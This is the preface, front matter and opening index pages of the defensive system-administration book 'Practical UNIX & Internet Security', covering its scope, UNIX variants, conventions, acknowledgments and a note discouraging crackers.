Since then, the whole world of computers has changed. These days, many people regard UNIX as a relatively secure operating system...at least, they use UNIX as if it were. Today, UNIX is used by millions of people and many thousands of organizations around the world, all without obvious major mishap. And while UNIX was not designed with military-level security in mind, it was built both to withstand limited external attacks and to protect users from the accidental or malicious actions of other users on the system. Years of constant use and study have made the operating system even more secure, because most of the UNIX security faults are publicized and fixed.

But the truth is, UNIX really hasn't become significantly more secure with its increase in popularity. That's because fundamental flaws still remain in the interaction of the operating system's design and its uses. The UNIX superuser remains a single point of attack: any intruder or insider who can become the UNIX superuser can take over the system, booby-trap its programs, and hold the computer's users hostage-sometimes even without their knowledge.

One thing that has improved is our understanding of how to keep a computer relatively secure. In recent years, a wide variety of tools and techniques have been developed with the single goal of helping system administrators secure their UNIX computers. Another thing that's changed is the level of understanding of UNIX by system administrators: now it is relatively easy for companies and other organizations to hire a professional system manager who will be concerned about computer security and make it a top priority.

This book can help.

What This Book Is

This book is a practical guide to UNIX security. For users, we explain what computer security is, describe some of the dangers that you may face, and tell you how to keep your data safe and sound. For administrators, we explain in greater detail how UNIX security mechanisms work and tell how to configure and administer your computer for maximum protection. For everybody, we try to teach something about UNIX's internals, its history, and how to keep yourself from getting burned.

Is this book for you? Probably. If you administer a UNIX system, you will find many tips for running your computer more securely. Even if you're a casual user of a UNIX system, you should read this book. If you are a complete novice at UNIX, you will benefit from reading this book, because it contains a thorough overview of the UNIX operating system in general. You don't want to stay a UNIX novice forever! (But you might want to read some other O'Reilly books first; consult Appendix D, Paper Sources, for some suggestions.)

What we've done here has been to collect helpful information concerning how to secure your UNIX system against threats, both internal and external. Most of the material is intended for a UNIX system administrator or manager. In most cases, we've presented material and commands without explaining in any detail how they work, and in several cases we've simply pointed out the nature of the commands and files that need to be examined; we've assumed that a typical system administrator is familiar with the commands and files of his or her system, or at least has the manuals available to study.

A Note About Your Manuals

Some people may think that it is a cop-out for a book on computer security to advise the reader to read his or her system manuals. But it's not. The fact is, computer vendors change their software much faster (and with less notice) than publishers bring out new editions of books. If you are concerned about running your computer securely, then you should spend the extra time to read your manuals to verify what we say. You should also experiment with your running system, to make sure that the programs behave the way they are documented.

Thus, we recommend that you go back and read through the manuals every few months to stay familiar with your system. Sometimes rereading the manuals after gaining new experience gives you added insight. Other times it reminds you of useful features that you aren't yet using. Many successful system administrators have told us that they make it a point to reread all their manuals every 6 to 12 months!

Certain key parts of this book were written in greater detail than the rest, with a novice user in mind. We have done this for two reasons: to be sure that important UNIX security concepts are presented to the fullest and to make important sections (such as the ones on file permissions and passwords) readable on their own. That way, this book can be passed around with a note saying, "Read Chapter 3, Users and Passwords to learn about how to set passwords."[4]

[4] Remember to pass around the book itself or get another copy to share. If you were to make a photocopy of the pages to circulate, it would be a significant violation of the copyright. This sets a bad example about respect for laws and rules, and conveys a message contrary to good security policy!

What This Book Is Not

This book is not intended to be a UNIX tutorial. Neither is this book a system administration tutorial-there are better books for that,[5] and good system administrators need to know about much more than security. Use this book as an adjunct to tutorials and administration guides.

[5] A few of which we have listed in Appendix D.

This book is also not a general text on computer security-we've tried to keep the formalisms to a minimum. Thus, this is not a book that is likely to help you design new security mechanisms for UNIX, although we have included a chapter on how to write more secure programs.

We've also tried to minimize the amount of information in this book that would be useful to people trying to break into computer systems. If that is your goal, then this book probably isn't for you.

We have also tried to resist the temptation to suggest:

  • Replacements for your standard commands

  • Modifications to your kernel

  • Other significant programming exercises to protect your system

The reason has to do with our definition of practical. For security measures to be effective, they need to be generally applicable. Most users of commercial systems do not have access to the source code, and many don't even have access to compilers for their systems. Public domain sources for some replacement commands are unlikely to have support for the special features different vendors add to their systems. If we were to suggest changes, they might not be applicable to every platform of interest.

There is also a problem associated with managing wide-scale changes. Not only may changes make the system more difficult to maintain, but changes may be impossible to manage across dozens of architectures in different locations and configurations. They also will make vendor maintenance more difficult-how can vendors respond to bug reports for software that they didn't provide?

Last of all, we have seen many programs and suggested fixes posted on the Internet that are incorrect or even dangerous. Many administrators of commercial and academic systems do not have the necessary expertise to evaluate the overall security impact of changes to their system's kernel, architecture, or commands. If you routinely download and install third-party patches and programs to improve your system's security, your overall security may well be worse in the long term.

For all of these reasons, our emphasis is on using tools provided with your operating systems. Where there are exceptions to this rule, we will explain our reasoning.

Practical UNIX & Internet Security | Next: Scope of This Book
Book Index | Scope of This Book


[Preface] Scope of This Book

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: UNIX "Security"? Preface Next: Which UNIX System?

Scope of This Book

This book is divided into six parts; it includes 27 chapters and 7 appendixes.

Part I, Computer Security Basics, provides a basic introduction to security policy. The chapters are written to be accessible to both users and administrators.

Chapter 1, Introduction, provides a history of the UNIX operating system and an introduction to UNIX security. It also introduces basic terms we use throughout the book.

Chapter 2, Policies and Guidelines, examines the role of setting good policies to guide protection of your systems. It also describes the trade-offs that must be made to account for cost, risk, and corresponding benefits.

Part II, User Responsibilities, provides a basic introduction to UNIX host security. The chapters are written to be accessible to both users and administrators.

Chapter 3 is about UNIX user accounts. It discusses the purpose of passwords, explains what makes good and bad passwords, and describes how the crypt( ) password encryption system works.

Chapter 4, Users, Groups, and the Superuser, and the Superuser, describes how UNIX groups can be used to control access to files and devices. It also discusses the UNIX superuser and the role that special users play.

Chapter 5, The UNIX Filesystem, discusses the security provisions of the UNIX filesystem and tells how to restrict access to files and directories to the file's owner, to a group of people, or to everybody on the computer system.

Chapter 6, Cryptography, discusses the role of encryption and message digests in your security. It includes a discussion of several popular encryption schemes, including the PGP mail package

Part III, System Security, is directed primarily towards the UNIX system administrator. It describes how to configure UNIX on your computer to minimize the chances of a break-in, as well as to limit the opportunities for a nonprivileged user to gain superuser access.

Chapter 7, Backups, discusses how and why to make archival backups of your storage. It includes discussions of backup strategies for different types of organizations.

Chapter 8, Defending Your Accounts, describes ways that a computer cracker might try to initially break into your computer system. By knowing these "doors" and closing them, you increase the security of your system.

Chapter 9, Integrity Management, discusses how to monitor your filesystem for unauthorized changes. This includes coverage of the use of message digests and read-only disks, and the configuration and use of the Tripwire utility.

Chapter 10, Auditing and Logging, discusses the logging mechanisms that UNIX provides to help you audit the usage and behavior of your system.

Chapter 11, Protecting Against Programmed Threats, is about computer viruses, worms, and Trojan horses. This chapter contains detailed tips that you can use to protect yourself from these electronic vermin.

Chapter 12, Physical Security. What if somebody gets frustrated by your super-secure system and decides to smash your computer with a sledgehammer? This chapter describes physical perils that face your computer and its data and discusses ways of protecting them.

Chapter 13, Personnel Security, examines concerns about who you employ and how they fit into your overall security scheme.

Part IV, Network and Internet Security, is about the ways in which individual UNIX computers communicate with one another and the outside world, and the ways that these systems can be subverted by attackers to break into your computer system. Because many attacks come from the outside, this part of the book is vital reading for anyone whose computer has outside connections.

Chapter 14, Telephone Security, describes how modems work and provides step-by-step instructions for testing your computer's modems to see if they harbor potential security problems.

Chapter 15, UUCP, is about the UNIX-to-UNIX copy system, which can use standard phone lines to copy files, transfer electronic mail, and exchange news. This chapter explains how UUCP works and tells you how to make sure that it can't be subverted to damage your system.

Chapter 16, TCP/IP Networks, provides background on how TCP/IP networking programs work and describes the security problems they pose.

Chapter 17, TCP/IP Services, discusses the common IP network services found on UNIX systems, coupled with common problems and pitfalls.

Chapter 18, WWW Security, describes some of the issues involved in running a World Wide Web server without opening your system to security problems. The issues discussed here should also be borne in mind when operating any other kind of network-based information server.

Chapter 19, RPC, NIS, NIS+, and Kerberos, discusses a variety of network information services. It covers some of how they work, and common pitfalls.

Chapter 20, NFS, describes how Sun Microsystems' Network Filesystem works and its potential security problems.

Part V, Advanced Topics, discusses issues that arise when organizational networks are interconnected with the Internet. It also covers ways of increasing your security through better programming.

Chapter 21, Firewalls, describes how to set up various types of firewalls to protect an internal network from an external attacker.

Chapter 22, Wrappers and Proxies, describes a few common wrapper and proxying programs to help protect your machine and the programs within it without requiring access to source code.

Chapter 23, Writing Secure SUID and Network Programs, describes common pitfalls when writing your own software. It gives tips on how to write robust software that will resist attack from malicious users.

Part VI, Handling Security Incidents, contains instructions about what to do if your computer's security is compromised. This part of the book will also help system administrators protect their systems from authorized users who are misusing their privileges.

Chapter 24, Discovering a Break-in, contains step-by-step directions to follow if you discover that an unauthorized person is using your computer.

Chapter 25, Denial of Service Attacks and Solutions, describes ways that legitimate, authorized users can make your system inoperable, ways that you can find out who is doing what, and what to do about it.

Chapter 26, Computer Security and U.S. Law. Occasionally the only thing you can do is sue or try to have your attackers thrown into jail. This chapter describes the legal recourse you may have after a security breach and discusses why legal approaches are often not helpful. It also covers some emerging concerns about running server sites connected to a wide area network such as the Internet.

Chapter 27, Who Do You Trust?, is the concluding chapter that makes the point that somewhere along the line, you need to trust a few things, and people. However, are you trusting the right ones?

Part VII, Appendixes, contains a number of useful lists and references.

Appendix A, UNIX Security Checklist, contains a point-by-point list of many of the suggestions made in the text of the book.

Appendix B, Important Files, is a list of the important files in the UNIX filesystem and a brief discussion of their security implications.

Appendix C, UNIX Processes, is a technical discussion of how the UNIX system manages processes. It also describes some of the special attributes of processes, including the UID, GID, and SUID.

Appendix D lists books, articles, and magazines about computer security.

Appendix E, Electronic Resources, is a brief listing of some significant security tools to use with UNIX, including directions on where to find them on the Internet.

Appendix F, Organizations, contains the names, telephone numbers, and addresses of organizations that are devoted to seeing computers become more secure.

Appendix G, Table of IP Services, lists all of the common TCP/IP protocols, along with their port numbers and suggested handling by a firewall.

Previous: UNIX "Security"? | Practical UNIX & Internet Security | Next: Which UNIX System?
UNIX "Security"? | Book Index | Which UNIX System?


[Preface] Which UNIX System?

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: Scope of This Book Preface Next: Conventions Used in This Book

Which UNIX System?

An unfortunate side effect of UNIX's popularity is that there are many different versions of UNIX; today, nearly every computer manufacturer has its own. Until recently, only UNIX operating systems sold by AT&T could be called "UNIX" because of licensing restrictions. Others manufacturers adopted names such as SunOS (Sun Microsystems), Solaris (also Sun Microsystems), Xenix (Microsoft), HP-UX (Hewlett-Packard), A/UX (Apple), Dynix (Sequent), OSF/1 (Open Software foundation), Linux (Linus Torvalds), Ultrix (Digital Equipment Corporation), and AIX (IBM)-to name a few. Practically every supplier of a UNIX or UNIX-like operating system made its own changes to the operating system. Some of these changes were small, while others were significant. Some of these changes have dramatic security implications, and unfortunately, many of these implications are usually not evident. Not every vendor considers the security implications of their changes before making them.

When we wrote the first edition of this book, there were two main families of UNIX: AT&T System V, and Berkeley's BSD. There were also some minor variations, including AT&T System III, Xenix, System 8, and a few others. For many years, there was a sharp division between System V and BSD systems. System V was largely favored by industry and government because of its status as a well-supported, "official" version of UNIX. BSD, meanwhile, was largely favored by academic sites and developers because of its flexibility, scope, and additional features.

As we describe in Chapter 1, the two main families of UNIX reunited several years ago in the form of System V Release 4 (usually referred to as V.4 or SVR4). Many of the better features of BSD 4.3 UNIX were built into SVR4, resulting in a system that combines many of the best features of both systems (as well as a few of the worst, unfortunately). This now represents the dominant basis for most modern versions of UNIX, with the notable exception of the "free" versions of UNIX: BSD 4.4, FreeBSD, and Linux.

This book covers UNIX security as it relates to common versions of UNIX. Specifically, we have attempted to present the material here as it pertains to SVR4 and then note differences with respect to other versions. Because of our long-standing experience with (and fondness for) the BSD-derived versions of UNIX, we will often refer to feature differences in terms of "BSD-derived features" and "AT&T-derived features," even though SVR4 may be thought of as having both. When you encounter these terms, think of "BSD-derived" as meaning BSD systems, Ultrix, SunOS 3.X and 4.X, Solaris 2.x, and SVR4. When you encounter the term "AT&T-derived," think of System V Release 3, Solaris 2.x, and, to some extent, AIX and HP-UX.

Particular details in this book concerning specific UNIX commands, options, and side effects are based upon the authors' experience with AT&T System V Release 3.2 and 4.0, Berkeley UNIX Release 4.3 and 4.4, NEXTSTEP, Digital UNIX (the new name for OSF/1), SunOS 4.0 and 4.1, Solaris 2.3 and 2.4, and Ultrix 4.0. We've also had the benefit of our technical reviewers' long experience with other systems, such as AIX, HP-UX, and Linux. As these systems are representative of the majority of UNIX machines in use, it is likely that these descriptions will suffice for most machines to which the reader will have access.

NOTE: Throughout this book, we generally refer to System V Release 4 as SVR4. When we refer to SunOS without a version number, assume that we are referring to SunOS 4.1.x. When we refer to Solaris without a version number, assume that we are referring to Solaris 2.x.

Many UNIX vendors have modified the basic behavior of some of their system commands, and there are dozens upon dozens of UNIX vendors. As a result, we don't attempt to describe every specific feature offered in every version issued by every manufacturer-that would only make the book longer, as well as more difficult to read. It would also make this book inaccurate, as some vendors change their systems frequently. Furthermore, we are reluctant to describe special-case features on systems we have not been able to test thoroughly ourselves. Whether you're a system administrator or an ordinary user, it's vital that you read the reference pages of your own particular UNIX system to understand the differences between what is presented in this volume and the actual syntax of the commands that you're using. This is especially true in situations in which you're depending upon the specific output or behavior of a program to verify or enhance the security of your system.

The Many Faces of "Free Unix"

One of the difficulties in writing a book such as this is that there are many, many versions of UNIX. All of them have differences: some minor, some significant. Our problem, as you shall see, is that even apparently minor difference between two operating systems can lead to dramatic differences in overall security. Simply changing the protection settings on a single file can turn a secure operating system into an unsecure one.

The Linux operating system makes things even more complicated. That's because Linux is an anarchic, moving target. There are many different versions of Linux. Some have minor differences, such as the installation of a patch or two. Others are drastically different, with different kernels, different driver software, and radically different security models.

Linux is not the only free form of UNIX. After the release of Berkeley 4.3, the Berkeley Computer Systems Research Group (CSRG) (and a team of volunteers across the Internet) worked to develop a final release, BSD 4.4, which was devoid of all AT&T code. Somewhere along the line the project split into several factions, eventually producing three operating systems: BSD 4.4, NetBSD, and FreeBSD. Today there are several versions of each of these operating systems. There are also systems based on Mach and employing UNIX-like utilities from a number of sources.

Today, the world of free UNIX is a maelstrom. It's as if commercial UNIX was being promoted and developed by several thousand different vendors. Thus, if you want to run Linux, or NetBSD, or FreeBSD, or any other such system securely, it is vitally important that you know exactly what software you are running on your computer. Merely reading your manual may not be enough! You may have to read the source code. You may have to verify that the source code that you are reading actually compiles to produce the binaries that you are running!

Also, please note that we cannot possibly describe (or even know) all the possible variations and implications, so don't assume that we have covered all the nuances of your particular system. When in doubt, check it out.

NOTE: By writing this book, we hope to provide information that will help users and system administrators improve the security of their systems. We have tried to ensure the accuracy and completeness of everything within this book. However, as we noted previously, we can't be sure that we have covered everything, and we can't know about all the quirks and modifications made to every version and installation of UNIX-derived systems. There are so many versions, furthermore, that sometimes it is easy to get similar but different versions confused. Thus, we can't promise that your system security will never be compromised if you follow all our advice, but we can feel sure in promising that attacks will be less likely. We encourage readers to tell us of significant differences between their own experiences and the examples presented in this book; those differences may be noted in future editions.

"Secure" Versions of UNIX

Over time, several vendors have developed "secure" versions of UNIX, often known as "trusted UNIX." These systems embody mechanisms, enhancements, and restraints described in various government standards documents. These enhanced versions of UNIX are designed to work in Multi-Level Security (MLS) and Compartmented-Mode Workstation (CMW) environments-where there are severe constraints designed to prevent the mixing of data and code with different security classifications, such as Secret and Top-Secret. Trusted Xenix and System V/MLS are two of the better-known instances of trusted UNIX.

Secure UNIX systems generally have extra features added to them including access control lists, data labeling, and enhanced auditing. They also remove some traditional features of UNIX such as the superuser's special access privileges, and access to some device files. Despite these changes, the systems still bear a resemblance to standard UNIX.

These systems are not in widespread use outside of selected government agencies. It seems doubtful to us that they will ever enjoy widely popular acceptance because many of the features only make sense within the context of a military security policy. On the other hand, some of these enhancements are useful in the commercial environment as well, and C2 security features are already common in many modern versions of UNIX.

Today trusted UNIX systems are often more difficult to use in a wide variety of environments, more difficult to port programs to, and more expensive to obtain and maintain. Thus, we haven't bothered to describe the quirks and special features of these systems in this book. If you have such a system, we recommend that you read the vendor documentation carefully and repeatedly. If these systems become more commonly accepted, we'll describe them in a future edition.

Previous: Scope of This Book | Practical UNIX & Internet Security | Next: Conventions Used in This Book
Scope of This Book | Book Index | Conventions Used in This Book


[Preface] Conventions Used in This Book

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: Which UNIX System? Preface Next: Online Information

Conventions Used in This Book

The following conventions are used in this book:

Italic is used for UNIX file, directory, user, command, and group names and for system calls, passwords, and URLs. It is also used to emphasize new terms and concepts when they are introduced.

Constant Width is used for code examples and any system output.

Constant Width Italic is used in examples for variable input or output (e.g., a filename).

Constant Width Bold is used in examples for user input.

Strike-through is used in examples to show input typed by the user that is not echoed by the computer. This is mainly used for passwords and passphrases that are typed.

call ( ) is used to indicate a system call, in contrast to a command. In the original edition of the book, we referred to commands in the form command (1) and to calls in the form call (2) or call (3), where the number indicates the section of the UNIX programmer's manual in which the command or call is described. Because different vendors now have diverged in their documentation section numbering, we do not use this convention in this second edition of the book. (Consult your own documentation index for the right section.) The call ( ) convention is helpful in differentiating, for example, between the crypt command and the crypt ( ) library function.

% is the UNIX C shell prompt.

$ is the UNIX Bourne shell or Korn shell prompt.

# is the UNIX superuser prompt (Korn, Bourne, or C shell). We usually use this for examples that should be executed by root.

Normally, we will use the Bourne or Korn shell in our examples unless we are showing something that is unique to the C shell.

[ ] surround optional values in a description of program syntax. (The brackets themselves should never be typed.)

CTRL-X or ^X indicates the use of control characters. It means hold down the CONTROL key while typing the character "X."

All command examples are followed by RETURN unless otherwise indicated.

Previous: Which UNIX System? | Practical UNIX & Internet Security | Next: Online Information
Which UNIX System? | Book Index | Online Information


[Preface] Online Information

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: Conventions Used in This Book Preface Next: Acknowledgments

Online Information

Examples and other online information related to this book are available on the World Wide Web and via anonymous FTP. See the insert in the book for information about all of O'Reilly's online services.

Previous: Conventions Used in This Book | Practical UNIX & Internet Security | Next: Acknowledgments
Conventions Used in This Book | Book Index | Acknowledgments


[Preface] Acknowledgments

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: Online Information Preface Next: Comments and Questions

Acknowledgments

We have many people to thank for their help on the original book and on this very substantial revision of that original book.

First Edition

The first edition of this book originally began as a suggestion by Victor Oppen-heimer, Deborah Russell, and Tim O'Reilly at O'Reilly & Associates.

Our heartfelt thanks to those people who reviewed the manuscript of the first edition in depth: Matt Bishop (UC Davis), Bill Cheswick, Andrew Odlyzko, and Jim Reeds (AT&T Bell Labs) (thanks also to Andrew and to Brian LaMacchia for criticizing the section on network security in an earlier draft as well), Paul Clark (Trusted Information Systems), Tom Christiansen (Convex Computer Corporation), Brian Kantor (UC San Diego), Laurie Sefton (Apple), Daniel Trinkle (Purdue's Department of Computer Sciences), Beverly Ulbrich (Sun Microsystems), and Tim O'Reilly and Jerry Peek (O'Reilly & Associates). Thanks also to Chuck McManis and Hal Stern (Sun Microsystems), who reviewed the chapters on NFS and NIS. We are grateful for the comments by Assistant U.S. Attorney William Cook and by Mike Godwin (Electronic Frontier Foundation) who both reviewed the chapter on the law. Fnz Jntfgnss (Purdue) provided very helpful feedback on the chapter on encryption-gunaxf! Steve Bellovin (AT&T), Cliff Stoll (Smithsonian), Bill Cook, and Dan Farmer (CERT) all provided moral support and helpful comments. Thanks to Jan Wortelboer, Mike Sullivan, John Kinyon, Nelson Fernandez, Mark Eichin, Belden Menkus, and Mark Hanson for finding so many typos! Thanks as well to Barry Z. Shein (Software Tool and Die) for being such an icon and UNIX historian. Steven Wadlow provided the pointer to Lazlo Hollyfeld. The quotations from Dennis Ritchie are from an interview with Simson Garfinkel that occurred during the summer of 1990.

Many people at O'Reilly & Associates helped with the production of the first edition of the book. Debby Russell edited the book. Rosanne Wagger and Kismet McDonough did the copyediting and production. Chris Reilley developed the figures. Edie Freedman designed the cover and the interior design. Ellie Cutler produced the index.

Special thanks to Kathy Heaphy, Gene Spafford's long-suffering and supportive wife, and to Georgia Conarroe, his secretary at Purdue University's Department of Computer Science, for their support while we wrote the first edition.

Second Edition

We are grateful to everyone who helped us develop the second edition of this book. The book, and the amount of work required to complete it, ended up being much larger than we originally envisioned. We started the rewrite of this book in January 1995; we finished it in March 1996, many months later than we had intended.

Our thanks to the people at Purdue University in the Computer Sciences Department and the COAST Laboratory who read and reviewed early drafts of this book: Mark Crosbie, Bryn Dole, Adam Hammer, Ivan Krsul, Steve Lodin, Dan Trinkle, and Keith A. Watson; Sam Wagstaff also commented on individual chapters.

Thanks to our technical reviewers: Fred Blonder (NASA), Brent Chapman (Great Circle Associates), Michele Crabb (NASA), James Ellis (CERT/CC), Dan Farmer (Sun), Eric Halil (AUSCERT), Doug Hosking (Systems Solutions Group), Tom Longstaff (CERT/CC), Danny Smith (AUSCERT), Jan Wortelboer (University of Amsterdam), David Waitzman (BBN), and Kevin Ziese (USAF). We would also like to thank our product-specific reviewers, who made a careful reading of the text to identify problems and add content applicable to particular UNIX versions or products. They are C.S. Lin (HP), Carolyn Godfrey (HP), Casper Dik (Sun), Andreas Siegert (IBM/AIX), and Grant Taylor (Linux),

Several people reviewed particular chapters. Peter Salus reviewed the introductory chapter; Ed Ravin (NASA Goddard Institute for Space Studies) reviewed the UUCP chapter; Adam Stein and Matthew Howard (Cisco) reviewed the networking chapters; Lincoln Stein (MIT Whitehead Institute) reviewed the World Wide Web chapter. Wietse Venema reviewed the chapter on wrappers.

苐een Frisch, author of Essential System Administration (O'Reilly & Associates, 1995) kindly allowed us to excerpt the section on access control lists from her book.

Thanks to the many people from O'Reilly & Associates who turned our manuscript into a finished product. Debby Russell did another command performance in editing this book and coordinating the review process. Mike Sierra and Norman Walsh provided invaluable assistance in moving Practical UNIX Security 's original troff files into FrameMaker format and in managing an increasingly large and complex set of Frame and SGML tools. Nicole Gipson Arigo did a wonderful job as production manager for this job. Clairemarie Fisher O'Leary assisted with the production process and managed the work of contractors. Kismet McDonough-Chan performed a quality assurance review, and Cory Willing proofread the manuscript. Nancy Priest created our interior design. Chris Reilley developed the new figures. Edie Freedman redesigned the cover. And Seth Maislin gave us a wonderfully usable index.

Thanks to Gene's wife Kathy and daughter Elizabeth for tolerating continuing mentions of "The Book" and for many nights and weekends spent editing. Kathy also helped with the proofreading.

Between the first and second editions of this book, Simson was married to Elisabeth C. Rosenberg. Special thanks are due to her for understanding the amount of time that this project has taken.

Previous: Online Information | Practical UNIX & Internet Security | Next: Comments and Questions
Online Information | Book Index | Comments and Questions


[Preface] Comments and Questions

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: Acknowledgments Preface Next: A Note to Computer Crackers

Comments and Questions

We have tested and verified all of the information in this book to the best of our ability, but you may find that features have changed, typos have crept in, or that we have made a mistake. Please let us know about what you find, as well as your suggestions for future editions, by contacting:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the US or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (FAX)

You can also send us messages electronically. See the insert in the book for information about all of O'Reilly & Associates' online services.

Previous: Acknowledgments | Practical UNIX & Internet Security | Next: A Note to Computer Crackers
Acknowledgments | Book Index | A Note to Computer Crackers


[Preface] A Note to Computer Crackers

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: Comments and Questions Preface Next: I. Computer Security Basics

A Note to Computer Crackers

We've tried to write this book in such a way that it can't be used easily as a "how-to" manual for potential system crackers. Don't buy this book if you are looking for hints on how to break into systems. If you are a system cracker, consider applying your energy and creativity to solving some of the more pressing problems facing us all, rather than creating new problems for overworked computer users and administrators. Breaking into computer systems is not proof of special ability, and breaking into someone else's machine to demonstrate a security problem is nasty and destructive, even if all you do is "look around."

The names of systems and accounts in this book are for example purposes only. They are not meant to represent any particular machine or user. We explicitly state that there is no invitation for people to try to break into the authors' or publisher's computers or the systems mentioned in this text. Any such attempts will be prosecuted to the fullest extent of the law, whenever possible. We realize that most of our readers would never even think of behaving this way, so our apologies to you for having to make this point.

Previous: Comments and Questions | Practical UNIX & Internet Security | Next: I. Computer Security Basics
Comments and Questions | Book Index | I. Computer Security Basics


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

10BaseT networks
12.3.1.2. Eavesdropping by Ethernet and 10Base-T
16.1. Networking
8mm video tape : 7.1.4. Guarding Against Media Failure
@ (at sign)
with chacl command : 5.2.5.2. HP-UX access control lists
in xhost list : 17.3.21.3. The xhost facility
! and mail command : 15.1.3. mail Command
. (dot) directory : 5.1.1. Directories
.. (dot-dot) directory : 5.1.1. Directories
# (hash mark), disabling services with : 17.3. Primary UNIX Network Services
+ (plus sign)
in hosts.equiv file : 17.3.18.5. Searching for .rhosts files
in NIS
19.4. Sun's Network Information Service (NIS)
19.4.4.6. NIS is confused about "+"
/ (slash)
IFS separator : 11.5.1.2. IFS attacks
root directory
5.1.1. Directories
(see also root directory)
~ (tilde)
in automatic backups : 18.2.3.5. Beware stray CGI scripts
for home directory : 11.5.1.3. $HOME attacks

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

absolute pathnames : 5.1.3. Current Directory and Paths
access
/etc/exports file : 20.2.1.1. /etc/exports
levels, NIS+ : 19.5.4. Using NIS+
by non-citizens : 26.4.1. Munitions Export
tradition of open : 1.4.1. Expectations
via Web : 18.2.2.2. Additional configuration issues
access control : 2.1. Planning Your Security Needs
ACLs
5.2.5. Access Control Lists
5.2.5.2. HP-UX access control lists
17.3.13. Network News Transport Protocol (NNTP) (TCP Port 119)
anonymous FTP : 17.3.2.1. Using anonymous FTP
Internet servers : 17.2. Controlling Access to Servers
monitoring employee access : 13.2.4. Auditing Access
physical : 12.2.3. Physical Access
restricted filesystems
8.1.5. Restricted Filesystem
8.1.5.2. Checking new software
restricting data availability : 2.1. Planning Your Security Needs
USERFILE (UUCP)
15.4.1. USERFILE: Providing Remote File Access
15.4.2.1. Some bad examples
Web server files
18.3. Controlling Access to Files on Your Server
18.3.3. Setting Up Web Users and Passwords
X Window System
17.3.21.2. X security
17.3.21.3. The xhost facility
access control lists : (see ACLs)
access.conf file : 18.3.1. The access.conf and .htaccess Files
access() : 23.2. Tips on Avoiding Security-related Bugs
access_log file
10.3.5. access_log Log File
18.4.2. Eavesdropping Through Log Files
with refer_log file : 18.4.2. Eavesdropping Through Log Files
accidents
12.2.2. Preventing Accidents
(see also natural disasters)
accounting process
10.2. The acct/pacct Process Accounting File
10.2.3. messages Log File
(see also auditing)
accounts : 3.1. Usernames
aliases for : 8.8.9. Account Names Revisited: Using Aliases for Increased Security
changing login shell
8.4.2. Changing the Account's Login Shell
8.7.1. Integrating One-time Passwords with UNIX
created by intruders : 24.4.1. New Accounts
default : 8.1.2. Default Accounts
defense checklist : A.1.1.7. Chapter 8: Defending Your Accounts
dormant
8.4. Managing Dormant Accounts
8.4.3. Finding Dormant Accounts
expiring old : 8.4.3. Finding Dormant Accounts
group : 8.1.6. Group Accounts
importing to NIS server
19.4.1. Including or excluding specific accounts:
19.4.4.2. Using netgroups to limit the importing of accounts
Joes
3.6.2. Smoking Joes
8.8.3.1. Joetest: a simple password cracker
locking automatically : 3.3. Entering Your Password
logging changes to : 10.7.2.1. Exception and activity reports
multiple, same UID : 4.1.2. Multiple Accounts with the Same UID
names for : (see usernames)
restricted, with rsh : 8.1.4.5. How to set up a restricted account with rsh
restricting FTP from : 17.3.2.5. Restricting FTP with the standard UNIX FTP server
running single command : 8.1.3. Accounts That Run a Single Command
without passwords : 8.1.1. Accounts Without Passwords
acct file : 10.2. The acct/pacct Process Accounting File
acctcom program
10.2. The acct/pacct Process Accounting File
10.2.2. Accounting with BSD
ACEs : (see ACLs)
ACK bit : 16.2.4.2. TCP
acledit command : 5.2.5.1. AIX Access Control Lists
aclget, aclput commands : 5.2.5.1. AIX Access Control Lists
ACLs (access control lists)
5.2.5. Access Control Lists
5.2.5.2. HP-UX access control lists
errors in : 5.2.5.1. AIX Access Control Lists
NNTP with : 17.3.13. Network News Transport Protocol (NNTP) (TCP Port 119)
ACM (Association for Computing Machinery) : F.1.1. Association for Computing Machinery (ACM)
active FTP : 17.3.2.2. Passive vs. active FTP
aculog file : 10.3.1. aculog File
adaptive modems : (see modems)
adb debugger
19.3.1.3. Setting the window
C.4. The kill Command
add-on functionality : 1.4.3. Add-On Functionality Breeds Problems
addresses
CIDR : 16.2.1.3. CIDR addresses
commands embedded in : 15.7. Early Security Problems with UUCP
Internet
16.2.1. Internet Addresses
16.2.1.3. CIDR addresses
IP : (see IP addresses)
Adleman, Leonard
6.4.2. Summary of Public Key Systems
6.4.6. RSA and Public Key Cryptography
.Admin directory : 10.3.4. uucp Log Files
administration : (see system administration)
adult material : 26.4.5. Pornography and Indecent Material
Advanced Network & Services (ANS) : F.3.4.2. ANS customers
AFCERT : F.3.4.41. U.S. Air Force
aftpd server : 17.3.2.4. Setting up an FTP server
agent (user) : 4.1. Users and Groups
agent_log file : 18.4.2. Eavesdropping Through Log Files
aging : (see expiring)
air ducts : 12.2.3.2. Entrance through air ducts
air filters : 12.2.1.3. Dust
Air Force Computer Emergency Response Team (AFCERT) : F.3.4.41. U.S. Air Force
AIX
3.3. Entering Your Password
8.7.1. Integrating One-time Passwords with UNIX
access control lists : 5.2.5.1. AIX Access Control Lists
tftp access : 17.3.7. Trivial File Transfer Protocol (TFTP) (UDP Port 69)
trusted path : 8.5.3.1. Trusted path
alarms : (see detectors)
aliases
8.8.9. Account Names Revisited: Using Aliases for Increased Security
11.1.2. Back Doors and Trap Doors
11.5.3.3. /usr/lib/aliases, /etc/aliases, /etc/sendmail/aliases, aliases.dir, or aliases.pag
decode : 17.3.4.2. Using sendmail to receive email
mail : 17.3.4. Simple Mail Transfer Protocol (SMTP) (TCP Port 25)
